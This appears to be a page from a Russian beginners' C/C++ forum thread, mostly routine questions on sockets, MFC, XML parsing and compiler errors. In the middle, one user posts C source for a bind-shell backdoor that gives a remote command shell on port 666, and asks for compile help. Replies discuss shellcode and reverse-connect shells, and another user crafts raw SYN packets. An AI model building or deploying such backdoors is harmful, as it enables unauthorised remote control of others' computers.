PDA

Просмотр полной версии : [c/c++] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

izlesa
28.06.2008, 06:49
2z01b
test - указатель
применение к нему операции взятия адреса какбы не имеет смысла )))

не знаю как в Си++ и Си#, но в plain Cследующий код абсолютно правомерен.

char *test;
test = (char *)malloc(5);
test[0] = 1;
test[1] = 2;
test[2] = 3;
test[3] = 4;
test = test + 2;

xxxxxxxxxxxxxxx
28.06.2008, 10:24
написал прогу которая удаляет коментарии с исходников. Указываем в командной строке файл *cpp и она трет коменты... только иногда захватывает чють больше(((( как исправить?


#include <string.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char * argv[])
{
FILE *f;
FILE *fp;
if((f=fopen(argv[1],"r"))==NULL) // fgsdgsdgsdgds
{printf("can open file...");
getch();exit(1);}
int i=0,n;char str[50000];
while (!feof(f))
{
fscanf(f,"%c",&str[i]);i++;
}
//const char ch='\n';
n=strlen(str);int kol=0;
for(int j=0;j<n;j++) // fgsdgsdgsdgds
{
if ((str[j]=='/')&&(str[j+1]=='/'))
//{if (str[j]=='\n')
{
kol++;
printf ("%2d)Exist ! ! ! !!\n",kol);
do
{
str[j]=' ';j++;}while (str[j]!='\n');
}//if
}//for
fp=fopen("no_coment.cpp","w");
fprintf(fp,"%s",str);
getch();
}

Forcer
28.06.2008, 11:51
Smapt
char * test=new char[5];
test[0]=0x39;
test[1]=0x32;
test[2]=0x33;
test[3]=0x34;

test=test+2;

:eek: omfg!

Вы что, C# по Кернигану-Ритчи учите? =)))))

1. операции с указателями считаются небезопасными, поэтому чтобы их разрешить нужно перед соответствующими блоками кода добавлять слово unsafe и включать соответствующую опцию у компилятора.

2. нужно явно приводить тип
test[0]= (char)0x39;

3. и тогда уж нужно использовать stackalloc, а не new для выделения памяти
char *test= stackalloc char[5];

nerezus
28.06.2008, 13:29
только иногда захватывает чють больше(((( как исправить? Подобным алгоритмом - никак.
Кода раз в 10 как минимум больше надо.
Читай статьи про лексический анализ, юзай алгоритм State Machine.

izlesa
28.06.2008, 23:05
2Forcer
нет, я Си только знаю
с C# не сталкивался ) код для Си был написан.
просто как пример

Smapt
29.06.2008, 16:39
Forcer, код был на СИ++ для примера)
Всем спасибо, проблема решена...
Да, и ещё вопрос, может подскажите где можно почтать про асинхронные(неблокируемые) сокеты, желательно с примерами реализации(в си++)

_empty
29.06.2008, 17:13
вот здесь можно скачать хорошую книгу про программирование сокетов и не только
http://iboo.ru/1452.htm
А это книга по сетевому программированию в windows, очень много интересного :)
http://www.pkmz.com/uploads/manuals/Network%20Programming%20for%20Microsoft%Windows.pd f То же самое что у Forcer'a но на русском, что то ссылка постиццо не хотела (((

Forcer
29.06.2008, 17:15
Smapt
http://www.intuit.ru/department/network/pami/4/

Network Prog for Windows(Second Edition):
http://main.coder.md/2007/07/network-programming-for-microsoft.html

criz
02.07.2008, 19:13
Помогите, пжлста, найти источник проблемы. Формирую тсп-пакет, с syn-флагом, отправляю.

void send_packet(SOCKET sd, unsigned short port, struct sockaddr_in source, char *ip)
{

struct sockaddr_in servaddr;

memset(&servaddr, 0, sizeof(servaddr));

servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr.s_addr = inet_addr(DEST);

tcp_hdr.sport = getpid();
tcp_hdr.dport = htons(port);
tcp_hdr.seqnum = getpid() + port;
tcp_hdr.acknum = 0;
tcp_hdr.flags = 0x02;
tcp_hdr.win = htons(128);
tcp_hdr.crc = 0;
tcp_hdr.urgptr = 0;

pseudo_hdr.source_addr = source.sin_addr.s_addr;
pseudo_hdr.dest_addr = servaddr.sin_addr.s_addr;
pseudo_hdr.place_hold = 0;
pseudo_hdr.proto = IPPROTO_TCP;
pseudo_hdr.length = htons(sizeof(struct tcp_header));

memcpy(&tcp_hdr, &pseudo_hdr, sizeof(struct tcp_header));

tcp_hdr.crc = chksum((unsigned short *)&pseudo_hdr, sizeof(struct pseudo_hdr));

if(sendto(sd, &tcp_hdr, sizeof(struct tcp_header), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
{
printf("Error: sendto() failed\n %d", WSAGetLastError());
exit(-1);
}

}

Тут все норм, ГетЛастЕррор молчит :)
Затем жду ответа от сервера:

int recv_packet(SOCKET sd)
{
char recvbuf[1500];
struct tcp_header *tcphdr = (struct tcp_header *)(recvbuf + sizeof(struct ip_hdr));

while(1)
{
if(recv(sd, recvbuf, sizeof(recvbuf), 0) < 0)
{
printf("Error: recv() failed\n %d", WSAGetLastError());
}

if(tcphdr->dport == getpid())
{
if((tcphdr->flags == 0x02) && (tcphdr->flags == 0x10))
return 1;
else
return 0;
}
}
}

Прога останавливается на:

if(recv(sd, recvbuf, sizeof(recvbuf), 0) < 0)

Она не зависает....но и не работает. Помогите плиз...

reversys
02.07.2008, 19:46
в этом месте recv ждёт чтобы чтонить пришло в sd. Туда ничего не идёт (т.к. всё уже пришло в прошлые проходы цикла) и поэтому нифига и не происходит.

Нужно определять получил ли ты всю нужныую инфу и выходить из цикла.
(определять можно например по количеству принятых байт)

Delimiter
02.07.2008, 19:54
2 criz

прикольный код 8))))) .... а что ты хочешь то??? Ты уже намылился формировать SEQ-и и ACK-и или пока еще нет 8))?

в любом случае даешь мало информации ты не дал информацию как ты создаешь сокет!

_empty
03.07.2008, 00:52
Чел, у тебя либо виста либо хр сервис пак 2 или выше :)
Наверн ты не знал, что мелкомягкие не разрешают сырые сокеты со xp sp2 ?
Зажали сцуки(( Юзай sp1 да и там ограничено, если только заплатки MS05-019 нет, или снеси windows и поставь на витруальную машину либо любой *NIX или windows2K. Это и будет решением твоей проблемы

criz
04.07.2008, 09:33
а что ты хочешь то???
Я хочу отправить syn-пакет и потом проверить какой пакет пришел в ответ, с каким флагом.
Наверн ты не знал, что мелкомягкие не разрешают сырые сокеты со xp sp2 ?
знал... Просто где-то пишут, что можно, где-то пишут, что нельзя...
И вот еще, когда прога начинает работать, фаер не показывает куда идут пакеты. Пишет, что-то вроде "localhost:any". Эт че получается, что ничего не уходит?

З.Ы. ты не дал информацию как ты создаешь сокет!

source.sin_addr.s_addr = inet_addr(SRC);
...
sd = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
...
setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on));

_empty
04.07.2008, 09:37
Я ж тебе написал, файр тебе ниче не покажет, потому что пакеты никуда не идут, они просто не отправляются, твоя система не поддерживает сырые сокеты! Их поддерживают только windows2k и NIX*! И очень огранниченно твоя прога будет работать на XP SP1, но не факт. ПОэтому юзай виртуальную машину.

Delimiter
04.07.2008, 14:26
8)))))))))))))

Я хочу отправить syn-пакет и потом проверить какой пакет пришел в ответ, с каким флагом.
давай ,чтоб ты не мучился я тебе сразу скажу что на твой пакет c SYN придет ответный пакет с SYN 8)))))))))))))))))))) причем готов поставить 100 баков против твоего одного 8)))))

все читаем rfc /// ссылки даны в моей министатье!

Smapt
04.07.2008, 23:28
Вот такой вопрос:
в VC создаю на форме многострочный Edit
case WM_CREATE:
hEditCtrl = CreateWindow
(L"EDIT",
L"TEXT \r\n",
WS_CHILD|WS_VISIBLE|WS_TABSTOP|ES_MULTILINE,
10,
10,
500,
500,
hwnd,
(HMENU) EDIT_ID,
hInst,
NULL) ;
break;
Как в этот едит построчно выводить текст?(как в билдере в мемо Memo1->Lines->Add("TEXT"); )

procedure
05.07.2008, 00:20
у меня тоже вопрос. как выйти из этой программы???
#include <stdio.h>
#define MAXLINE 1000

int getline(char line[], int maxline);
void copy(char to[], char from[]);
/*output long string*/

main()
{
int len;
int max;
char line[MAXLINE];
char longest[MAXLINE];
char str;

max = 0;
while((len = getline(line, MAXLINE)) > 0) {
if (len > max) {
max = len;
copy(longest, line);
}
}
if (max > 0) {
printf("%s", longest);
}
return 0;
}

int getline(char s[], int lim)
{
int c, i;

for (i=0; i<lim-1 && (c=getchar()) != EOF && c!='\n'; ++i) {
s[i] = c;
}
if (c == '\n') {
s[i] = c;
++i;
}
s[i] = '\0';
return i;
}

void copy(char to[], char from[])
{
int i;

i = 0;
while ((to[i] = from[i]) != '\0')
++i;
}

т.е. как можно сделать выход ??

_empty
05.07.2008, 02:17
#include <stdio.h>
#define MAXLINE 1000

int getline(char line[], int maxline);
void copy(char to[], char from[]);
/*output long string*/

main()
{
int len;
int max;
char line[MAXLINE];
char longest[MAXLINE];
char str;

max = 0;
while( (len = getline(line, MAXLINE) ) > 0)
{
if (len > max)
{
max = len;
copy(longest, line);
}
}
if (max > 0) {
printf("%s", longest);
}
return 0;
}

int getline(char s[], int lim)
{
int c, i;

for (i=0; i<lim-1 && (c=getchar()) != EOF && c!='\n'; ++i) {
s[i] = c;
}
if (c == '\n') {
s[i] = c;
++i;
}
s[i] = '\0';
if ( c==27 ) exit(0); /*НАПРИМЕР ТАК*/
return i;

}

void copy(char to[], char from[])
{
int i;

i = 0;
while ((to[i] = from[i]) != '\0')
++i;
}


Подредактировал, почему не пользуешься стандартными функциями string.h ?

procedure
05.07.2008, 04:26
_empty->спасибо, я так же и думал реализовать но выход по EOF тут не поможет, т.к. я работаю не с файлом, а с клавиатурой. А вобще возможно ли сделать так чтоб при нажатии Esc я вышел из программы?

izlesa
05.07.2008, 06:44
Smapt

Воспользуйся SetWindowText и GetWindowText. Только построчный вывод тебе нужно реализовать будет самостоятельно с помощью этих функций.

2procedure
В стандартном потоке вывода EOF тоже имеет смысл и обозначает комбинацию по-моему ctrl+z.
А если хочешь по ESC выходить, то у него есть свой код, ищи в инете ).

criz
05.07.2008, 15:37
2 Delimiter & _empty: спасиб. Пошел читать рфц :)
Одна из проблем была в неверной работе с тсп-заголовком. У меня лишнее поле появилось)))

procedure
05.07.2008, 15:39
выдает ошибку:
# cc longstring.c
longstring.c: In function 'getline':
longstring.c:44: warning: incompatible implicit declaration of built-in function 'exit'
ругается на exit(0);
if ( c==27 ) {
exit(0);
}
return i;

_empty
05.07.2008, 19:07
выдает ошибку:

ругается на exit(0);

Ах да, сорри забыл ,


#include <stdlib.h>

procedure
05.07.2008, 22:50
#/tmp/programming/a.out
string
longstring
^[
#

программа начала компилироваться но не работает((

_empty
06.07.2008, 00:39
щас я тебе нормально ее перепишу с использованием string.h

FIND_ERROR
06.07.2008, 14:46
необходимо получить список файлов в папке и список папок в папке... и запихнуть оба списка в разные масивы или просто вывести на экран...

LLIbIcpEP
06.07.2008, 18:04
Доброго времени суток.
Имею MVS 2008, C#, FtpClient.dll
программа зациклена, по таймеру 30 сек.
проблемма в следующем:

XmlTextWriter myXmlTextWriter = new XmlTextWriter("Online.xml", System.Text.Encoding.UTF8);
myXmlTextWriter.Formatting = Formatting.Indented;
myXmlTextWriter.WriteElementString("name", null, name);
myXmlTextWriter.Flush();
myXmlTextWriter.Close();

ниже:

FtpClient ftplib = new FtpClient();

try
{
ftplib.connect("server","login","pass");
ftplib.upload("Online.xml", "");
}
finally
{
ftplib.disconnect();
}

на начале следующеи итерации при попытке создать файл:
The process cannot access the file 'Online.xml' because it is being used by another process.
подскажите пожалуйста, как обойти?:confused:

LLIbIcpEP
06.07.2008, 22:25
и еще..
другая программа этот файл скачивает и читает

StreamReader stream = new StreamReader("Online.xml");
XmlTextReader reader = null;
reader = new XmlTextReader(stream);
while (reader.Read())
{
switch (reader.NodeType)
{
case XmlNodeType.Element:
break;
case XmlNodeType.Text:
Console.Write(reader.Value + " ");
break;
case XmlNodeType.EndElement:
break;
}
}

файл хранится в виде

<a>a1</a>
<b>b1</b>
<c>c1</c>
<d>d1</d>
<a>a2</a>
<b>b2</b>
<c>c2</c>
<d>d2</d>
<a>a3</a>
<b>b3</b>
<c>c3</c>
<d>d3</d>

в ходе выполнения, в консоли появляется "a1 ", потом вываливается ошибка
There are multiple root elements. Line 2, position 2.
подскажите, в какую сторону копать? :confused:

heretic1990
07.07.2008, 21:12
люди подскажите существует ли русификатор на Microsoft Visual Basic 2008 Express Edition , а то столько функций со всеми не разобраться :)

Smapt
07.07.2008, 21:33
Создаю не блокируеммый сокет(WSAAsyncSelect ) в консоли:

#include <winsock2.h>
#include <windows.h>

#pragma comment (lib, "ws2_32.lib")

#define IN_PORT 44405
#define MAX_DATA 100
#define WM_ASYNC_CLIENTEVENT WM_USER+1


SOCKET hListenSockTCP = INVALID_SOCKET;
SOCKADDR_IN myaddrTCP;
char buf[MAX_DATA];
HWND hwndMain;



int main()
{

SetConsoleTitle(L"CS");
HWND hwndConsoleWindow;
hwndConsoleWindow=FindWindow(NULL, L"CS");
if (hwndConsoleWindow==0)
{
printf("Error Find Window");
exit(0);
}
hwndMain = hwndConsoleWindow;



WSADATA stWSADataTCPIP;

if( WSAStartup(0x0101, &stWSADataTCPIP) )
printf("WSAStartup error !\n");

hListenSockTCP = socket (AF_INET,SOCK_STREAM,0);
myaddrTCP.sin_family = AF_INET;
myaddrTCP.sin_addr.s_addr = htonl (INADDR_ANY);
myaddrTCP.sin_port = htons (IN_PORT);

if( bind(hListenSockTCP,(LPSOCKADDR)&myaddrTCP, sizeof(struct sockaddr)) )
printf("This port in use!\n");

if ( listen (hListenSockTCP, 5) )
printf("listen error!\n");

if ( WSAAsyncSelect (hListenSockTCP,hwndMain,WM_ASYNC_CLIENTEVENT,FD_A CCEPT|FD_READ|FD_CLOSE) )
printf("AsyncSelect error!\n");


getchar();
return 0;
}



Вопрос, как обрабатывать события ,FD_ACCEPT,FD_READ,FD_CLOSE и тд???

Delimiter
07.07.2008, 21:53
2 smapt

зачем в консоли неблокирующие сокеты??? Что можно заблокировать в консоли?

... асинхронные сокеты разрабатывались для mfc либо для проекта где ты обрабатываешь события сам!!!!!

давай делай mfc диалоговое окно
затем создавай константы

const TCP_ACCEPT=WM_USER+102;
const TCP_READ=WM_USER+104;

создавай 2 публичные функции в классе блаблаViewDlg

void OnMyTCPaccept(WPARAM wParam,LPARAM lParam)
{
.....
}

и

void OnMyTCPread(WPARAM wParam,LPARAM lParam)
{
...
}

в мессаджмапе связывай функции и константы

Smapt
07.07.2008, 22:22
вопрос был не "зачем" а "как"

Delimiter
07.07.2008, 22:24
Извини за непонимание!!! :cool:

епта ты не понял!!!! Обьяснить для новичка как через попу сделать конфетку можно но не нужно!!! Попа она не для этого служит!

В Dos тоже нельзя применить неблокирующие сокеты да и незачем!!!! Надеюсь мой намек на DOS, тебе подскажет что событийная модель мастдая не для поп служит!

... хотя попа вот она http://www.rsdn.ru/Forum/?mid=2152432

P(i)n*Fl0p1
08.07.2008, 15:44
Compiling...
pbr11.cpp
Linking...
LIBCD.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16
Debug/pbr12.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

pbr12.exe - 2 error(s), 0 warning(s)

MVc++6.0
непонимаю что делать и <iostream.h> и просто <iostream> и using namespace std; и std:: пробовал ниче не помогает.

iv.
08.07.2008, 15:46
Compiling...
pbr11.cpp
Linking...
LIBCD.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16
Debug/pbr12.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

pbr12.exe - 2 error(s), 0 warning(s)

MVc++6.0
непонимаю что делать и <iostream.h> и просто <iostream> и using namespace std; и std:: пробовал ниче не помогает.
Что-то мне подсказывает, что у тебя функции main() в коде нет..

P(i)n*Fl0p1
08.07.2008, 15:48
Что-то мне подсказывает, что у тебя функции main() в коде нет..
:eek: :eek: :eek:
даже на такой проге выдает ошибку))))))
#include <iostream>
int main()
{
std::cout << "hello";
return 0;
}

если мэйна нет то error C2447: missing function header (old-style formal list?)
раньше все норм компилилось,ща лагает пострашному 1.5минуты хелло ворлд компилилось..

razzzar
08.07.2008, 17:15
LIBCD.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16


ты компилишь консольное приложение, но в настрйоках проекта поставил Win32.
иди в настройки проекта, там Linker\System\Subsystem поставь Console

procedure
09.07.2008, 02:18
Подскажите пожалуйста как можно сделать выход из программы.
#include <stdio.h>
#define MAXLINE 1000

int getline(char line[], int maxline);
void copy(char to[], char from[]);
/*output long string*/

main()
{
int len;
int max;
char line[MAXLINE];
char longest[MAXLINE];
char str;

max = 0;
while((len = getline(line, MAXLINE)) > 0) {
if (len > max) {
max = len;
copy(longest, line);
}
}
if (max > 0) {
printf("%s", longest);
}
return 0;
}

int getline(char s[], int lim)
{
int c, i;

for (i=0; i<lim-1 && (c=getchar()) != EOF && c!='\n'; ++i) {
s[i] = c;
}
if (c == '\n') {
s[i] = c;
++i;
}
s[i] = '\0';
return i;
}

void copy(char to[], char from[])
{
int i;

i = 0;
while ((to[i] = from[i]) != '\0')
++i;
}

criz
09.07.2008, 06:35
Подскажите пожалуйста как можно сделать выход из программы.

а где именно нужен выход, после какого действия? :)

izlesa
09.07.2008, 09:07
2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R

_empty
09.07.2008, 21:11
:eek: :eek: :eek:
даже на такой проге выдает ошибку))))))
#include <iostream>
int main()
{
std::cout << "hello";
return 0;
}

если мэйна нет то error C2447: missing function header (old-style formal list?)
раньше все норм компилилось,ща лагает пострашному 1.5минуты хелло ворлд компилилось..

Добавь перед main -


using namespace std;

izlesa
09.07.2008, 21:41
2_empty
ревнитель стандарта )))
на ощибку компилятора посмотри )

z01b
10.07.2008, 00:15
2procedure
тебе же всё уже рассказали. EOF = Ctrl+C в Винде и помоему Ctrl+D в Никсах
Чтобы выйти по другой клавише, нужно вместо EOF подставить её ASCII-код, например для ESC = 0x1B (dec = 27)
Внимательно читай K&R
В никсе - Ctrl+Z ;)

SVAROG
11.07.2008, 17:10
недавно начал изучать с++, решил написать клиент -сервер, задача программы: в клиенте написать строку и что бы она выводилась на сервере.
всё компилируеться и запускаеться но почему то не работает, подскажите где ошибся
код сервера:

#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")


int main(int argc, char* argv[])
{
char buff[1024];
WSAStartup(0x0202,(WSADATA *) &buff[0]);
SOCKET my_sock;
my_sock=socket(AF_INET,SOCK_STREAM, 0);
sockaddr_in local_addr;
local_addr.sin_family=AF_INET;
local_addr.sin_port=htons(777);
local_addr.sin_addr.s_addr=0;

bind(my_sock,(sockaddr *) &local_addr, sizeof(local_addr));
listen(my_sock,0x200);

sockaddr_in client_addr;
int size_addr = sizeof(client_addr);
char buffer[256];
while(SOCKET ozh=accept(my_sock,(sockaddr *) &client_addr, &size_addr) )
{
if(ozh<0)
{
break;
printf("critical error\n");
closesocket(ozh);
closesocket(my_sock);
}
else
{
printf("All right");
}

#define sHELLO "Hello, Sailor\r\n"

send(ozh,sHELLO,sizeof(sHELLO),0);
int i;
i=recv(ozh, buff, 256, 0);
cout << buff;




}


return 0;
}



код клиента:

// my.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <winsock2.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32.lib")
#define port 777
#define SERVERADDR "127.0.0.1"

int main(int argc, char* argv[])
{
char buff[1024];
WSAStartup(0x0202,(WSADATA *) &buff[0]);
SOCKET my_sock;
my_sock=socket(AF_INET,SOCK_STREAM, 0);
sockaddr_in local_addr;
local_addr.sin_family=AF_INET;
local_addr.sin_port=htons(777);


HOSTENT *hst;
if (inet_addr(SERVERADDR)!=INADDR_NONE)
local_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
else
if(gethostbyname(SERVERADDR))
((unsigned long *)&local_addr.sin_addr)[0]= ((unsigned long **)hst->h_addr_list)[0][0];
else
{
printf("error dns resolve!");
}
if(connect(my_sock,(sockaddr *)&local_addr, sizeof(local_addr)))
{
printf("connect error!\n");
return -1;
}

printf("join to server.."SERVERADDR "->OK!\n ");
int nsize;

while(nsize=recv(my_sock,&buff[0],sizeof(buff)-1,0)!=SOCKET_ERROR)
{
buff[nsize]=0;
printf("S<=C:"); fgets(&buff[0],sizeof(buff)-1,stdin);
if(!strcmp(&buff[0],"quit\n"))
{
printf("exit..");
closesocket(my_sock);
WSACleanup();
return 0;
}


send(my_sock, &buff[0],nsize, 0);
}





return 0;
}



компилятор visual c++ 6.0

P-29
11.07.2008, 19:29
Помагите с компилировать етот код не получается пользуюсь dev-C++ ver 4.9.9.2
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#include "spawn.pipe.h" // "обертка" вокруг командного интерпретатора
#define MY_PORT 666 // порт, который эксплоит будет слушать

#define MAX_BUF_SIZE 1024

DWORD WINAPI SexToClient(void *csocket);

int main()
{
int a;
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // буффер
int caddr_size = sizeof(caddr);

// TITLE
printf("exploit bind port demo\n");

// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

// шаг 1: создание сокета
lsocket = socket(AF_INET, SOCK_STREAM, 0);

// шаг 2: связывание сокета с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

// шаг 3: слушаем сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");

// шаг 4: обрабатываем входящие подключения
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
// пытаемся получить доменное имя подключившегося узла
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);

// вызов нового потока для обслужвания клиента
// вообще-то для этого рекомендуется использовать _beginthreadex
// но с некоторыми предосторожностями можно обойтись и win32 API
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}

// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}

_empty
11.07.2008, 20:55
to P-29

А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!

P-29
11.07.2008, 21:06
to P-29

А ты в свойства проекта добавлял, чтобы он с библиотекой ws32_2 линковал?
Если нет, то найди в каталог и добавь, а вобще нужно выкладывать текст ошибки тоже!

А как библеотеку добавлять.

zindi
11.07.2008, 21:49
А как библеотеку добавлять.
ну человек вы так не когда не научетесь..если не знаете как добавлять библиотеку а уже за такие дела беретесь
#include <>

Delimiter
11.07.2008, 21:57
:D :)
// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();


.... ах дык это так называется? :D Чистый ХЭК однако :cool:


// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;


в настоящем шелкоде твоего кода не нужно! :D
во первых пишется он на ассемблере с контролем отсутствия спецсимволов (типа 0) во вторых пляшется от поиска функций кернела и загрузки винсок библиотеки... даже если она загружена. :cool: Но самое главное бинд-шеллкоды не могут сделать главного "реверс коннект", чтоб атаковать компы за NAT-ом! Отгадай процентное соотношение тех кто за NAT и с реальными IP(белыми) . Поэтому BIND-SHELL это уже история !

P.S.

Сообщение от P-29
А как библеотеку добавлять.


присутствие библиотеки в коде определяется либо явной загрузкой, либо Project во вкладке Link

SlyBit
11.07.2008, 22:20
P-29

линковать:
#pragma comment(lib, "Ws2_32.lib")

p.s. покажи какие ошибки

p.p.s
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

Дай пожалуйста ссылку, откуда ты это взял. ;)

SVAROG

Где именно ошибка? Сделай проверку функций на ошибки с выводом их кодов (WSAGetLastError).

izlesa
12.07.2008, 01:05
2SVAROG
Во-первых, это c-style код, несмотря на iostream
Во-вторых ... млин ... слов нету ... за такой код надо расстреливать на месте, и не делать скидок даже на недавность порыва изучения, тк это уже не нубство, а ... я даже не знаю как назвать. Такое впечатление, что ты наискосок просмотрел мануал и забил на него. Чего стоят &buf[0] или брейки в начале ветвления проверки ошибок.

В-третьих, после беглого просмотра этого "творения" выяснилось, что логика "несколькo" другая. Ты не понимаешь что пишешь? Разберись в логике программы, составь алгоритм на бумажке, досконально проверь его и уже тогда переноси его в код.

Я не разбираюсь в плюсах, но помоему подключенный в stdafx.h stdio.h перекрывает iostream.h, поэтому не работает cout.
А вообще основная ошибка в логике. Сервером ты пытаешься отправить строку, но отправляется один байт. Потом ты это количество же пытаешься отправить на сервер. Там, если бы работал cout выводился только один символ.
Т.е. в клиенте надо изменить send так

send(my_sock, buff,strlen(buff), 0); // Будет посылать на сервер столько байт, сколько нужно


ЗЫ Внимательней на код посмотрел, сервер нормально отсылает это у тебя в while бардак. Ты что нибудь о приоритетности операций слышал? Или эту главу в книге пролистал? И то что выражение в while будет выполнятся справо налево ни сном ни духом. И следовательно в nsize будет заносится не кол-во полученных байт, а результат выражения != ...

Весь код яркая иллюстрация к тому, как нельзя делать ни в коем разе. До*баться можно к каждой строке.
Бери K&R или Прата и марш изучать язык нормально!

rm24
12.07.2008, 15:43
Я создаю проект в VS на mfc. Дважда щелкаю по кнопе ok и вписываю туда
updateData(true) и MessageBox() . Добавляю на форму текстовое поле. Ему присваиваю перменную.
Когда перменная CString она отображается в MessageBox() . но стооит тип перменной изменить на int как срузуже все перестает работать. Я пробывал отобразить в MessageBox() перменные не привязанные к форме(в том числе char). Ничего не получается. Как решить данную проблему?

FIND_ERROR
12.07.2008, 17:02
rm24 как я понял надо в MessageBox() вывести переменную типа int ? или из любой переменной не типа не CString ?

rm24
12.07.2008, 19:18
У меня две проблемы:

1. Переменные добавляемые текстовому полю не отображааются в MessageBox() (все кроме Cstring)
Можно приемер с перменной типа int

2. Невозможно вывести любую обычную перменную в MessageBox()
Тоже можно с int

z01b
13.07.2008, 01:40
Я создаю проект в VS на mfc. Дважда щелкаю по кнопе ok и вписываю туда
updateData(true) и MessageBox() . Добавляю на форму текстовое поле. Ему присваиваю перменную.
Когда перменная CString она отображается в MessageBox() . но стооит тип перменной изменить на int как срузуже все перестает работать. Я пробывал отобразить в MessageBox() перменные не привязанные к форме(в том числе char). Ничего не получается. Как решить данную проблему?
MessageBox-у, передается указатели к Си строка для caption и текста => надо переобразить переменную в тип указатель к Cи строки....


int i = 200;
char szTemp[100];
MessageBox(0,itoa(i,szTemp,10),"Message",MB_OK);

Smapt
13.07.2008, 02:27
Подскажите как в VC получить md5 хэш строки, желательно с примером.

izlesa
13.07.2008, 03:05
2Smapt
ну во-первых VC не язык, а компилятор с IDE =)

это просто ) нужно реализовать алгоритм md5 )
либо заюзать готовые библиотеки.

вот к примеру найдено за 5 минут поиска (не проверял)

http://www.codenet.ru/progr/bcb/md5.php

z01b
13.07.2008, 03:10
2Smapt
ну во-первых VC не язык, а компилятор с IDE =)

это просто ) нужно реализовать алгоритм md5 )
либо заюзать готовые библиотеки.

вот к примеру найдено за 5 минут поиска (не проверял)

http://www.codenet.ru/progr/bcb/md5.php
Нужно будет немного доработать, т.к. пример заточен под борландский конпелятор =)

ЗЫ В VS, AnsiString-a нету =)

SlyBit
13.07.2008, 10:48
Тут (http://slil.ru/25975712) алгоритмы шифрования/хэширования (язык си) с примерами использования с сайта xyssl.org (который сейчас почему-то не доступен), в том числе есть md5.

Baron Night
14.07.2008, 15:38
Прошу помочь мне с кодом.
Прогарммирую под Linux на Glade 3.4.5
Возникла небольшая проблема, Есть в одной папке 2 программы с исходниками, Нужно в сорцах первой проги написать команду что бы при нажатии на клавишу запускалась другая программа, Перерыл уже кучу инфы по Си и GTK+
Очень прошу мне помочь.
(fopen () , open () не подходит, т.к. нужно запустить прогу не в скрытом режиме, а как будто юзверь запустил ее самостоятельно кликом, окон никаких почему то не выскакивает при использовании данных функций)

UPD
Нашел
#include <stdlib.h>

int system(const char * string);
Но не вкурил как юзать. может кто нить разъяснит?

izlesa
14.07.2008, 17:11
2Baron Night

fopen - открывает файл на чтение и/или запись. Тебе же нужно запустить программу на выполенение. Я в Линуксе ни в зуб ногой, поэтому как запускать программы тебе расскажут более сведущие товарищи

LLIbIcpEP
14.07.2008, 18:42
помогите пожалуйста с сортировкой в датагриде на C#

string myXMLfile = "xml.xml";
DataSet ds = new DataSet();
System.IO.FileStream fsReadXml = new System.IO.FileStream(myXMLfile, System.IO.FileMode.Open);
try
{
ds.ReadXml(fsReadXml);
_grid.DataSource = ds;
_grid.DataMember = "char";
}
finally
{
fsReadXml.Close();
}

все работает на ура, файл типа:

<data>
<char string="xxx" int="1" />
<char string="yyy" int="3" />
<char string="zzz" int="20" />
</data>

загружает в датагрид, все замечательно, но...
сортировка второго столбца происходит как текст, т.е. 20 окажется < чем 3..помогите пожалуйста, как быть?:confused:

FIND_ERROR
15.07.2008, 18:55
нуждаюсь в реализации замены слов на С++Builder
имееться некая строка, в ней надо наити и заменить к примеру все слова "home" на слова "end" эти слова в итоге будут передоваться как переменные и могут иметь различную длину...

SlyBit
15.07.2008, 20:50
FIND_ERROR

